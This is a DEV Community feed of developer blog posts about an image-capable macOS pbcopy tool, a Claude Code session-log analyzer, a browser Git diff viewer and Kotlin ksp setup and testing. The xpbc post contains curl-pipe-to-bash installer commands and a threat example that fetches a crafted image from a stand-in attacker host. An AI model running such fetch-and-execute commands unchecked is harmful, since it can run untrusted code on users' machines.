DEV Community: Kazuki Chigita

macOS pbcopy Can't Handle Images — So I Built a Fix

Kazuki Chigita — Sun, 22 Mar 2026 05:35:57 +0000

If you've ever tried piping an image into pbcopy, you know the pain: it silently mangles the data, and Cmd+V pastes garbage. That's because pbcopy is text-only by design — it has no concept of image data on the clipboard.

I wanted a drop-in replacement that Just Works with images, so I built xpbc (eXtended PasteBoard Copy).

chigichan24 / xpbc

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

xpbc

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

pbcopy only handles text. xpbc automatically detects whether stdin contains image data and copies it to the clipboard as an image. For plain text, it behaves exactly like pbcopy.

Quick Start

# Copy an image to the clipboard
cat screenshot.png | xpbc

# Copy text (same as pbcopy)
echo "hello" | xpbc

# Paste with Cmd+V in any app

Installation

Installer script

curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash

To install to a custom directory:

curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash -s -- /your/custom/path

The default install directory is ~/.local/bin.

From source

Requires Swift 6.0+ and macOS 13+.

git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local

Usage

xpbc [-pboard {general|ruler|find|font}] [--no-validate] [--help] [--version]

Pipe any data into xpbc via stdin. It automatically detects the format and copies accordingly.

Examples

# Images — detected

…

View on GitHub

cat screenshot.png | xpbc   # image lands on clipboard, ready to paste
echo "hello"       | xpbc   # works exactly like pbcopy for text

Installation

# One-liner install
curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash

# Or build from source
git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local

Usage

# Copy images (format is auto-detected)
cat photo.jpg   | xpbc
cat diagram.pdf | xpbc
cat icon.webp   | xpbc

# Copy text (same as pbcopy)
echo "some text" | xpbc
git diff         | xpbc

# Pipe from other commands
ffmpeg -i video.mp4 -vframes 1 -f image2pipe - | xpbc
curl -s https://example.com/image.png          | xpbc

How It Works: Magic Bytes Detection

xpbc inspects the first few bytes of stdin to determine the data format — no file extensions, no flags, no guesswork.

Each format has a unique byte signature (magic bytes). For example, every valid PNG starts with exactly these 8 bytes: 89 50 4E 47 0D 0A 1A 0A. JPEG starts with FF D8 FF. xpbc checks these signatures to decide how to write to the clipboard.

The core abstraction is a FormatDetector protocol:

protocol FormatDetector: Sendable {
    var detectedType: DataType { get }
    func canDetect(from data: Data) -> Bool
}

Here's the PNG detector — clean and simple:

struct PNGDetector: FormatDetector {
    let detectedType = DataType.png

    private static let magic: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]

    func canDetect(from data: Data) -> Bool {
        guard data.count >= Self.magic.count else { return false }
        return data.prefix(Self.magic.count).elementsEqual(Self.magic)
    }
}

Detector Ordering Matters

The detectors are checked in order of signature specificity — longest signatures first:

static let detectors: [FormatDetector] = [
    PNGDetector(),      // 8 bytes
    GIFDetector(),      // 6 bytes
    WebPDetector(),     // 4+4 bytes at offsets 0,8
    FtypDetector(…),    // HEIC: 4+4 bytes at offsets 4,8
    FtypDetector(…),    // AVIF: 4+4 bytes at offsets 4,8
    TIFFDetector(),     // 4 bytes
    PDFDetector(),      // 4 bytes
    JPEGDetector(),     // 3 bytes
    BMPDetector(),      // 2 bytes  ← checked last
]

Why does this order matter? BMP's signature is just BM — two bytes. If checked first, any text file that happens to start with "BM" would be misidentified as a bitmap image. By checking the 8-byte PNG signature first, the chance of a false positive is astronomically low. The shorter the signature, the later it's checked.

Supported Formats

Format	Signature	UTI
PNG	8-byte header	`public.png`
JPEG	3-byte header (`FF D8 FF`)	`public.jpeg`
GIF	6-byte header (`GIF87a`/`GIF89a`)	`com.compuserve.gif`
TIFF	4-byte header (LE/BE)	`public.tiff`
BMP	2-byte header (`BM`)	`com.microsoft.bmp`
WebP	`RIFF` + `WEBP` markers	`public.webp`
HEIC	`ftyp` + `heic` brand	`public.heic`
AVIF	`ftyp` + `avif` brand	`public.avif`
PDF	`%PDF` header	`public.pdf`

If no image signature matches, xpbc falls back to text mode — same behavior as pbcopy.

Why No Image Decoding?

The most well-known tool in this space is impbcopy, which loads the image via NSImage and writes it to the clipboard through writeObjects:. Because NSImage conforms to NSPasteboardWriting, the image is internally converted to a TIFF representation before being placed on the clipboard.

xpbc takes a fundamentally different approach: it writes raw bytes directly to NSPasteboard with a single UTI — no decoding, no TIFF conversion.

This works because modern macOS (13+) and Electron-based apps (Slack, Notion, VS Code, etc.) can read public.png and public.jpeg directly from the clipboard. The historical need for TIFF as a clipboard lingua franca has faded.

The real benefit of zero decoding is a minimal attack surface. Image decoders are complex and historically prone to vulnerabilities. By never calling NSImage, CGImageSource, or ImageIO, xpbc avoids this entire class of risk. More on this below.

Security: Structural Validation

Here's a scenario to consider:

curl -s https://evil.example/exploit.png | xpbc

xpbc itself doesn't decode the image — so xpbc is safe. But the moment a user pastes with Cmd+V, the receiving application's image decoder (typically ImageIO) processes the data. Vulnerabilities like CVE-2023-41064 — a buffer overflow in ImageIO that enabled arbitrary code execution via a crafted image — show this is a real threat.

To mitigate this, xpbc includes a structural validation layer that runs after format detection and before clipboard write:

protocol FormatValidator: Sendable {
    func validate(_ data: Data) -> ValidationResult
}

What Gets Validated

Format	Validation
PNG	IHDR chunk exists, width/height > 0
JPEG	Valid marker after SOI (0xC0–0xFE)
GIF	Logical Screen Descriptor width/height > 0
TIFF	IFD offset within valid range
BMP	DIB header size is a known valid value
WebP	VP8/VP8L/VP8X chunk header present
HEIC/AVIF	ftyp box size conforms to ISO 14496-12 (>= 12)
PDF	Boundary matching for `/JS`, `/JavaScript`, `/OpenAction`, `/AA`, `/Launch`

You can skip validation with --no-validate for trusted sources.

What It Intentionally Does NOT Do

This validation is a mitigation, not a guarantee. xpbc only inspects headers — it never touches the compressed payload. Here's what passes through:

Structurally valid but malicious payloads — A PNG with a correct header but exploit code buried in the compressed data stream. Catching this would require a full decoder — the very thing xpbc avoids.
Zip bombs — Valid headers that decompress to enormous sizes. xpbc's 100 MB cap is on raw input, not decompressed output.
Obfuscated PDF keywords — Hex-encoded dangerous keywords (/#4A#53 = /JS) or stream-compressed payloads. A full PDF parser could catch these, but it would itself become a new attack surface.

xpbc is best described as a "slightly smart byte forwarder." It keeps its own attack surface minimal by refusing to decode anything, while filtering out obviously malformed data before it reaches the clipboard.

Wrapping Up

xpbc is a small, focused tool: pipe image data in, get it on the clipboard, paste it anywhere. It supports 9 image formats, validates structural integrity, and avoids the security pitfalls of image decoding.

Give it a try and let me know what you think:

chigichan24 / xpbc

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

xpbc

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

pbcopy only handles text. xpbc automatically detects whether stdin contains image data and copies it to the clipboard as an image. For plain text, it behaves exactly like pbcopy.

Quick Start

# Copy an image to the clipboard
cat screenshot.png | xpbc

# Copy text (same as pbcopy)
echo "hello" | xpbc

# Paste with Cmd+V in any app

Installation

Installer script

curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash

To install to a custom directory:

curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash -s -- /your/custom/path

The default install directory is ~/.local/bin.

From source

Requires Swift 6.0+ and macOS 13+.

git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local

Usage

xpbc [-pboard {general|ruler|find|font}] [--no-validate] [--help] [--version]

Pipe any data into xpbc via stdin. It automatically detects the format and copies accordingly.

Examples

# Images — detected

…

View on GitHub

Issues and PRs are welcome! If this sounds interesting, give it a ⭐ on GitHub.

Mining Hidden Skills from Claude Code Session Logs with Semantic Knowledge Graphs

Kazuki Chigita — Wed, 18 Mar 2026 16:47:24 +0000

The Problem

If you use Claude Code (or any LLM-based coding agent) daily, you've probably noticed yourself repeating similar workflows. The natural next step is: Can we turn these into reusable Skills?

The conventional path is: document your knowledge → codify it into a Skill → deploy. But in practice, the first step — articulating tacit knowledge as formal documentation — is where most people get stuck. You know what you do, but writing it down precisely enough for an agent to replicate is surprisingly hard.

Here's the key insight: your session logs already contain that knowledge. Every time you correct the agent, choose a specific tool sequence, or guide a workflow, you're implicitly recording your decision-making process. The question is how to extract it.

crune is the tool I built to answer that question. It analyzes Claude Code JSONL session logs, builds a semantic knowledge graph across sessions, detects recurring workflow patterns, and surfaces Skill candidates — all without requiring you to write documentation first.

Sessions clustered into topics with multi-signal edges

Architecture Overview

crune has two parts:

Data pipeline (scripts/): Reads JSONL session files → extracts features → builds knowledge graph → generates Skill candidates → outputs JSON
Frontend (src/): React SPA with three views — Session List, Session Playback, and Knowledge Graph

The core pipeline follows this flow:

Feature Extraction ─┐
  1. TF-IDF          │
  2. Tool-IDF        ├→ Combined Matrix → SVD → Clustering → Topic Nodes → Edges → Louvain → Brandes
  3. Structural      │
────────────────────┘

Let me walk through each stage.

Step 1: Multi-Signal Feature Extraction

Each session is represented by three independent feature vectors, each L2-normalized before combination.

Text Features (TF-IDF)

For each session, I concatenate user prompts, assistant responses, edited file paths, and git branch names, then tokenize with:

CamelCase splitting (sessionPlayback → session, playback)
snake_case / kebab-case splitting
File path segment extraction (excluding extensions and short segments)
English/Japanese stop word removal
Noise filtering (UUIDs, hex strings ≥ 6 chars, pure numbers, tokens > 40 chars)

Vectorization uses sublinear TF-IDF:

\text{tf}(t, d) = \log(1 + \text{count}(t, d))

\text{idf}(t) = \log\left(\frac{N}{\text{df}(t)}\right)

Vocabulary is filtered to terms appearing in ≥ 2 documents and ≤ 80% of all documents.

Tool Usage Features (Tool-IDF)

Tool usage counts across main turns and subagent turns are weighted by IDF to suppress ubiquitous tools:

w(\text{tool}, s) = \log(1 + \text{count}) \times \text{idf}(\text{tool})

\text{idf}(\text{tool}) = \log\left(\frac{N}{\text{df}(\text{tool})}\right)

A session that uses Agent 3 times gets a higher weight for that tool than one using Read 100 times — because Agent usage is rarer and more distinctive.

Structural Features (7-dimensional)

A fixed-length vector capturing the shape of each session:

Dim	Feature	Description
0	`userRatio`	Proportion of user input turns
1	`assistantRatio`	Proportion of assistant response turns
2	`toolCallRatio`	Fraction of turns containing tool calls
3	`subagentRatio`	Subagent involvement: (Agent turns + subagent count) / total turns
4	`avgToolsPerTurn`	`log(1 + total_tools / total_turns)`
5	`editHeaviness`	(Edit + Write) / total tool calls
6	`readHeaviness`	(Read + Grep + Glob) / total tool calls

Step 2: Latent Space via Truncated SVD

The three feature vectors are concatenated with sqrt-weighted coefficients:

\mathbf{x}_i = \Big[\; \sqrt{0.50}\;\mathbf{t}_i, \quad \sqrt{0.25}\;\mathbf{u}_i, \quad \sqrt{0.25}\;\mathbf{s}_i \;\Big]

where t, u, s are the TF-IDF, Tool-IDF, and Structural vectors respectively. The √weight trick ensures that in cosine distance, each group contributes proportionally to the specified ratio (50:25:25) after concatenation.

Since the number of sessions m is typically much smaller than the feature dimension n (TF-IDF vocab + tool vocab + 7), I compute SVD efficiently via the Gram matrix:

Compute the Gram matrix (much smaller than the full covariance):

A^\top \quad (m \times m)

Extract top-k eigenvectors via power iteration + deflation (50 iterations, seed=42 for reproducibility)
Recover singular values and right singular vectors:

\sigma_i = \sqrt{\lambda_i}, \qquad V = A^\top U \Sigma^{-1}

L2-normalize the session embeddings UΣ → k-dimensional dense latent space

\min\big(80,\; \max(20,\; \lfloor m/4 \rfloor)\big)

This latent space naturally surfaces cross-signal axes — inspecting columns of V reveals which words and tools contribute to each latent dimension.

Step 3: Agglomerative Clustering

Using cosine distance in the SVD latent space, I run average-linkage agglomerative clustering with automatic threshold detection:

Build a cosine distance matrix between all session embeddings
Run average-linkage clustering, recording the merge distance history
Elbow detection: find the merge step where the second derivative (acceleration) of merge distances is maximized → use as the cutoff threshold
- Fallback: 0.7 if history is too short
- Clamped to [0.3, 0.9]
Re-cluster with the detected threshold

Oversized Cluster Splitting

Clusters containing > 25% of all sessions (minimum 10) are split using a tighter threshold: median(internal distances) × 0.8 (floor: 0.15).

Narrow Cluster Merging

When /insights facets data is available, clusters with ≤ 2 sessions are candidates for merging. Goal categories are normalized from 50+ raw types into ~10 canonical categories (feature, bugfix, refactoring, documentation, review, testing, etc.). Two narrow clusters merge if they share ≥ 1 normalized category AND their average cosine distance < 0.7, up to a maximum merged size of 8.

Step 4: Topic Node Construction

Each cluster becomes a topic node with:

Field	Method
Keywords	Top-5 terms from the TF-IDF centroid (mean of cluster member vectors)
Label	Shortest `underlying_goal` from facets data (≤ 80 chars), falling back to top-3 keywords
Representative Prompts	Top-3 user prompts ranked by cosine similarity to centroid (deduplicated)
Tool Signature	Top-5 tools by `log(1 + count) × idf(tool)`
Dominant Role	`subagent-delegated` if subagent ratio > 15%, `tool-heavy` if tool ratio > 60%, else `user-driven`

Step 5: Multi-Signal Edge Construction

For every pair of topics, three signals are computed:

Signal	Weight	Method
Semantic Similarity	0.4	Cosine similarity between topic centroids in SVD space
File Overlap	0.3	Jaccard coefficient of edited file sets across member sessions
Session Overlap	0.3	0.6 if same project & branch, 0.4 if sessions within 1 hour (max taken)

\text{strength} = 0.4\,s_{\text{sem}} + 0.3\,s_{\text{file}} + 0.3\,s_{\text{session}}

Edges are created only when strength > 0.2. Each edge is classified:

Type	Condition
`cross-project-bridge`	Source and target belong to entirely different project sets
`shared-module`	File overlap is the dominant weighted signal
`workflow-continuation`	Session overlap is the dominant weighted signal
`semantic-similarity`	Default (none of the above)

Step 6: Community Detection & Centrality

Louvain community detection groups related topics by maximizing modularity:

\frac{1}{2m} \sum_{ij}\left[A_{ij} - \frac{k_i k_j}{2m}\right] \delta(c_i, c_j)

Each node starts in its own community. Nodes are moved to whichever neighboring community yields the largest modularity gain ΔQ, repeated until convergence (max 100 iterations).

Brandes betweenness centrality identifies bridge topics — nodes that sit on shortest paths between communities:

BFS from every node, recording shortest path counts σ and predecessors
Back-propagate dependency:

\delta(v) \mathrel{+}= \frac{\sigma(v)}{\sigma(w)} \cdot \bigl(1 + \delta(w)\bigr)

Normalize for undirected graphs:

C_B(v) = \frac{C_B(v)}{(n-1)(n-2)}

Topics in the top 10% of betweenness centrality (minimum 1) are flagged as bridge topics — they represent knowledge that connects otherwise separate domains.

Skill Generation Pipeline

Once topics are identified, crune generates Skill candidates through a three-stage pipeline.

Stage 1: Reusability Scoring

Each topic is scored on four to six signals depending on data availability:

Signal	Weight	Formula
Frequency	0.30	`sessionCount / max(sessionCount)`
Time Cost	0.20	`avgDuration / max(avgDuration)`
Cross-Project	0.20	`(projectCount − 1) / (max(projectCount) − 1)`
Recency	0.10	`1 − daysSinceLastSeen / max(daysSinceLastSeen)`
Success Rate	0.10	Fraction of `fully_achieved` or `mostly_achieved` outcomes (from `/insights` facets)
Helpfulness	0.10	Normalized `claude_helpfulness` average (essential=1.0, very_helpful=0.8, ..., unhelpful=0.0)

The last two signals are only available when /insights facets data exists. Without facets, the base four signals are reweighted (0.35, 0.25, 0.25, 0.15).

Stage 2: Heuristic Skill Generation

Each topic is converted into a SKILL.md skeleton following the anthropics/skills format:

Name: top-3 keywords + project suffix in kebab-case (≤ 40 chars)
Description: Pushiness-oriented trigger description — specifying when the skill should activate rather than what it does
Body: Overview → When to Use (citing representative prompts) → Workflow steps → Detected tool sequence patterns → Guidelines

Stage 3: LLM Synthesis

The heuristic skeleton is refined via claude -p with an enriched prompt containing topic metadata, representative prompts, tool signatures, enriched tool sequence patterns, and optionally graph context (centrality, connected topics by edge type).

The top-N candidates by reusability score (default: 5) are pre-synthesized at build time. On-demand re-synthesis with full graph context is available through the UI.

Session Playback

Beyond the knowledge graph, crune also provides session-level exploration:

Full session playback showing the conversation flow

Each session gets a locally-computed summary (no LLM needed): a representative prompt selected via Jaccard centrality with position weighting, extracted keywords, work type classification (investigation / implementation / debugging / planning), and scope from the common directory prefix of edited files.

The Core Value: Discovery, Not Generation

To be honest, the auto-generated SKILL.md files aren't always production-ready. Heuristic generation tends to produce surface-level procedure listings that lack the why behind each step.

But that's not the point. The real value is Skill candidate discovery:

"You've repeated this pattern 15 times"
"It averages 25 minutes per session"
"It appears across 3 different projects"

These are things you genuinely don't notice from day-to-day work. Patterns you've internalized as "just how I do things" become visible when projected onto a knowledge graph. The cross-project patterns are especially hard to spot — same workflow, different context, different codebase.

Once you see the pattern, adding your intent and judgment to turn it into a quality Skill becomes much easier than writing one from scratch.

Future Direction

The next frontier is multi-user session analysis — analyzing sessions from team members working on the same product to discover shared tacit knowledge and team-wide workflow patterns. This obviously raises privacy concerns around sharing raw prompts, so I'm exploring approaches inspired by federated learning and secure aggregation to aggregate patterns without exposing individual session data.

Getting Started

No clone required — just run via npx:

npx @chigichan24/crune --dry-run                    # Preview skill candidates
npx @chigichan24/crune --skip-synthesis              # Generate heuristic skills (no LLM)
npx @chigichan24/crune --count 3 --model haiku       # LLM-synthesized skills (requires claude CLI)
npx @chigichan24/crune --output-dir ~/.claude/skills  # Install skills directly

Output follows the Claude Code skill format (<name>/SKILL.md), ready to use as /skill-name commands.

The source is at github.com/chigichan24/crune. If this sounds interesting, give it a ⭐ on GitHub — it helps others discover the project. Contributions, issues, and feedback are all welcome.

I built a browser-only Git diff viewer using File System Access API — no server needed

Kazuki Chigita — Sat, 14 Mar 2026 19:07:11 +0000

When working with AI coding agents like Claude Code or Cursor, I often find myself reviewing diffs across multiple repositories at the same time. The agent touches several projects in one session, and I need to quickly see "what changed where" without switching between terminals or setting up complex tooling.

Existing tools are either single-repo, require a server, or need a local install. So I built Duff.

🔗 Demo: https://chigichan24.github.io/duff/
📦 Source: https://github.com/chigichan24/duff

What is Duff?

Duff is a Git diff viewer that runs entirely in your browser. No server, no CLI, no extensions — just open the URL and pick your local Git repositories.

🔍 View diffs and modified files across multiple repos at once
📊 Interactive commit history graph with range selection
🖼️ Visual image diff with pixel-level comparison
🔄 Auto-refresh to detect changes as you work
💾 Workspace persists across sessions via IndexedDB

How it works

The key insight is combining two browser APIs that aren't often used together:

File System Access API (showDirectoryPicker()) gives the browser direct read access to your local filesystem
isomorphic-git provides a pure JavaScript Git implementation that works in the browser

I wrote a custom adapter that bridges the two — translating isomorphic-git's Node-style fs calls into File System Access API operations.

Browser UI → gitService → isomorphic-git → fsaAdapter → File System Access API → your local .git

Technical hurdles I didn't expect

1. `instanceof` doesn't work the way you'd think

The File System Access API returns FileSystemFileHandle and FileSystemDirectoryHandle objects. My first instinct was:

if (handle instanceof FileSystemFileHandle) { ... }

This works fine in production, but completely breaks in test environments (Playwright mocks). The fix was using the kind property instead:

if (handle.kind === 'file') { ... }

2. Read-only operations aren't actually read-only

I assumed showing a git status would only need read access. Wrong. isomorphic-git's statusMatrix writes to .git/index as part of its comparison process. This meant my FS adapter needed full write support (createWritable) just to display a diff.

3. File System Access API is ~100x slower than native fs

Every file read goes through the browser's security layer. For a Git repo with hundreds of files, this adds up fast. I had to implement multiple layers of caching:

Ref resolution cache (5s TTL) — avoid re-resolving HEAD → commit hash on every operation
isomorphic-git object cache — shared across all operations to prevent re-parsing packfiles
Adapter instance cache (WeakMap per handle) — avoid recreating the fs adapter
No-op update guards — skip React re-renders when nothing actually changed

4. Persistence is tricky

FileSystemDirectoryHandle objects can be stored in IndexedDB (they're structured-cloneable), so your repo selection survives page reloads. But the browser will revoke the permission — you need to call queryPermission() / requestPermission() again on next visit.

Limitations

Chromium-only: Firefox and Safari don't implement the File System Access API (and have stated they won't, citing security concerns)
Performance on large repos: The FSA API overhead makes it impractical for very large repositories
No push/pull: This is a viewer, not a full Git client

Stack

React 19 + Vite
isomorphic-git
diff2html for diff rendering
pixelmatch for image diffs
idb-keyval for IndexedDB persistence
Hosted on GitHub Pages (zero-cost)

Try it

👉 https://chigichan24.github.io/duff/

Open it in Chrome/Edge/Arc, click "Add your first repository", and pick any local Git repo with uncommitted changes.

If you find it useful, a ⭐ on GitHub would mean a lot!

I'd love to hear your feedback — what would make this more useful for your workflow?

Why don't you write unit tests and integration tests to ksp project

Kazuki Chigita — Wed, 11 Jan 2023 18:30:49 +0000

Background

google/ksp is one of the lightweight compiler plugin. We can easy to create compiler plugin with simple syntax. It's set as stable last year.

For now, some libraries (room, moshi, dagger and etc...) are supporting ksp.

When you create ksp project, you need to guarantee the behavior of the developing plugin. One solution is applying to demo project and confirm the actual behavior. But in the basic development in this few years, we'll prepare the test codes for the new implementation.

In this article, I'll explain how to write unit test and integration test for ksp project.

Demo project (Spider)

I've prepared the demo project(Spider) for this article. The project is really simple ksp project. Spider is a AGSL wrapper library for compose function.We can avoid to write template AGSL loading code.

Please refer this repository if you need to figure out the detail context.

Unit Test

For writing unit test, there are no special difference. You can mock & stub the behavior, after that verify the method internal state or(and) method return value.

In the demo project, I used junit and mockito. One thing we need to pre-learn do the unit test, that is ksp class diagram.

Here is a part of overview of class diagram. You can check whole dependencies here. Basically, KSDeclaration is root gateway. Each components like class declaration, function declaration, property declaration or other one extends KSDeclaration. And each it has some type and specific information. Each one are defined as interface. Therefore when you test the component, you can mock each declaration simply.

Let's see Spider case. Spider has a feature which collect enum property names that is annotated @AGSL_ENUM as class annotation.

@AGSL_ENUM
enum class AgslDefAssets{ FOO, BAR, BAZ }

// Spider will collect "FOO", "BAR" and "BAZ".

The unit test, successful case is here.
I also picked up here.

@Mock
private lateinit var resolver: Resolver

private lateinit var target: SpiderEnumValueFetcher

@Before
fun setUp() {
    target = SpiderEnumValueFetcher(ANNOTATION)
}

@Test
fun testFetch() {
    val ksName = Mockito.mock(KSName::class.java).stub {
        on { getShortName() } doReturn "TEST"
    }
    val ksDeclaration = Mockito.mock(KSDeclaration::class.java).stub {
        on { simpleName } doReturn ksName
    }
    val ksClassDeclaration = Mockito.mock(KSClassDeclaration::class.java).stub {
        on { classKind } doReturn ClassKind.ENUM_CLASS
        on { declarations } doReturn sequenceOf(ksDeclaration)
    }

    resolver.stub {
        on { getSymbolsWithAnnotation(ANNOTATION) } doReturn sequenceOf(
            ksClassDeclaration
        )
    }
    val result = target.fetch(resolver)
    assertContentEquals(
        sequenceOf("TEST"),
        result
    )
}

Enum class property is interpreted as below structure by ksp. So in the unit test, we'll follow the structure and mock each components.

Integration Test

In the unit test section, I wrote unit test way especially for ksp analyze part. In this section, I'll present about integration test way.

Strictly, it's not android integration test. In this section I defined integration test as ksp processing result confirmation.
Unfortunately, there're no official support that for testing SymbolProcessorProvider. But we can apply similar test by using kotlin-compile-testing. This library supports ksp so we can easily do integration test. This library is used by multiple ksp project such as room, moshi and etc...

Let's consider with Spider case. Here is an integration test for spider.

First of all, we'll add dependency for build.gradle.kts. Preparation is that's all.

dependencies {
    testImplementation("com.github.tschuchortdev:kotlin-compile-testing:1.4.9")
    testImplementation("com.github.tschuchortdev:kotlin-compile-testing-ksp:1.4.9")
}

In the each test case, run ksp symbol processor. In the spider, I prepared the compile method.

private fun prepareCompilation(vararg sourceFiles: SourceFile): KotlinCompilation =
    KotlinCompilation()
        .apply {
            workingDir = temporaryFolder.root
            inheritClassPath = true
            symbolProcessorProviders = listOf(SpiderProcessorProvider())
            sources = sourceFiles.asList()
            verbose = false
            kspIncremental = true
        }

private fun compile(vararg sourceFiles: SourceFile): KspCompileResult {
    val compilation = prepareCompilation(*sourceFiles)
    val result = compilation.compile()
    return KspCompileResult(
        result,
        findGeneratedFiles(compilation)
    )
}

We can also refer the generated file result. KotlinCompilation can reach to kspSources. So I prepared below util methods.

 private fun findGeneratedFiles(compilation: KotlinCompilation): List<File> {
    return compilation.kspSourcesDir
        .walkTopDown()
        .filter { it.isFile }
        .toList()
}

This approach is also used by square/moshi. You can also refer this.

Conclusion

In this article, I presented about how to write unit test and integration test. Important point is about integration test. There are no test support by officially. We have to use kotlin-compile-testing instead.

Both unit test and integration test, we need to know how ksp is analyzing the source code. Class diagram is powerful helper for figuring out structure and dependency of each classes.

I've prepared unit tests and integration tests for demo ksp project. Please take a look this repository.

How about write tests to your own ksp projects?

References

"The Android robot is reproduced or modified from work created and shared by Google and used according to terms described in the Creative Commons 3.0 Attribution License."

How configure compose compiler and ksp with Kotlin 1.8

Kazuki Chigita — Wed, 04 Jan 2023 10:58:24 +0000

Background

In the year end of 2022, Kotlin 1.8 was launched. We can now use Kotlin 1.8 as stable version. Let's set up Android project with Kotlin 1.8 .

For the current basic development, We use JetpackCompose which is super powerful framework for Android UI development. Therefore we need to care compose compiler.

google/ksp is one of the lightweight compiler plugin which is developed by google. Some jetpack libraries are supporting that configures with ksp (ex: room).

Set up

Here is a complete example that uses Kotlin 1.8 (+ ksp and compose). PTAL, if you don't have time.

project level gradle file

Use 1.8.0 as Kotlin version.

plugins {
    id 'org.jetbrains.kotlin.android' version '1.8.0' apply false
}

module level gradle file

For ksp

Set "1.8.0-1.0.8" version for ksp.

plugins {
    kotlin("android")
    id("com.google.devtools.ksp").version("1.8.0-1.0.8")
}

For compose compiler

Also, compose compiler version is strongly depends on Kotlin version. So that we have to update kotlinCompilerExtensionVersion in composeOptions block.

I refer to android developer site but there are no compatible version with Kotlin 1.8 . So that we need to refer as other way.

Here is latest compose compiler maven indexes.
And this site provides cutting edge version binaries. It's ok to download .jar and include to project but it's not recommended. We can set set gradle file like as below.

Step 1. Set new maven repository in settings.gradle

maven {
     url "https://androidx.dev/storage/compose-compiler/repository/"
}

Step 2. Refer compatible version commit that indicates in this site.
For now, we would like to use Kotlin 1.8, so that use 1.4.0-dev-k1.8.0-33c0ad36f83 as kotlinCompilerExtensionVersion

android {
    composeOptions {
        kotlinCompilerExtensionVersion = "1.4.0-dev-k1.8.0-33c0ad36f83"
    }
}

And I created complete example project. Please refer the detail configuration settings. => https://github.com/chigichan24/LauncherTest

Conclusion

I post how configure the project with Kotlin 1.8. Compose compiler does not support Kotlin 1.8 yet as stable. So we have to refer not tag but the commit. In the future compose compiler version that 1.4.0 or 1.4.1(?) will support Kotlin 1.8 definitely. So this post is temporary fix. After launched stable version of compose compiler, don't forget to update it.

Have a great Android application development :)

Reference

"The Android robot is reproduced or modified from work created and shared by Google and used according to terms described in the Creative Commons 3.0 Attribution License."

DEV Community: Kazuki Chigita

macOS pbcopy Can't Handle Images — So I Built a Fix

chigichan24 / xpbc

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

xpbc

Quick Start

Installation

Installer script

From source

Usage

Examples

Installation

Usage

How It Works: Magic Bytes Detection

Detector Ordering Matters

Supported Formats

Why No Image Decoding?

Security: Structural Validation

What Gets Validated

What It Intentionally Does NOT Do

Wrapping Up

chigichan24 / xpbc

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

xpbc

Quick Start

Installation

Installer script

From source

Usage

Examples

Mining Hidden Skills from Claude Code Session Logs with Semantic Knowledge Graphs

The Problem

Architecture Overview

Step 1: Multi-Signal Feature Extraction

Text Features (TF-IDF)

Tool Usage Features (Tool-IDF)

Structural Features (7-dimensional)

Step 2: Latent Space via Truncated SVD

Step 3: Agglomerative Clustering

Oversized Cluster Splitting

Narrow Cluster Merging

Step 4: Topic Node Construction

Step 5: Multi-Signal Edge Construction

Step 6: Community Detection & Centrality

Skill Generation Pipeline

Stage 1: Reusability Scoring

Stage 2: Heuristic Skill Generation

Stage 3: LLM Synthesis

Session Playback

The Core Value: Discovery, Not Generation

Future Direction

Getting Started

I built a browser-only Git diff viewer using File System Access API — no server needed

What is Duff?

How it works

Technical hurdles I didn't expect

1. instanceof doesn't work the way you'd think

2. Read-only operations aren't actually read-only

3. File System Access API is ~100x slower than native fs

4. Persistence is tricky

Limitations

Stack

Try it

Why don't you write unit tests and integration tests to ksp project

Background

Demo project (Spider)

Unit Test

Integration Test

Conclusion

References

How configure compose compiler and ksp with Kotlin 1.8

Background

Set up

project level gradle file

module level gradle file

For ksp

For compose compiler

Conclusion

Reference

1. `instanceof` doesn't work the way you'd think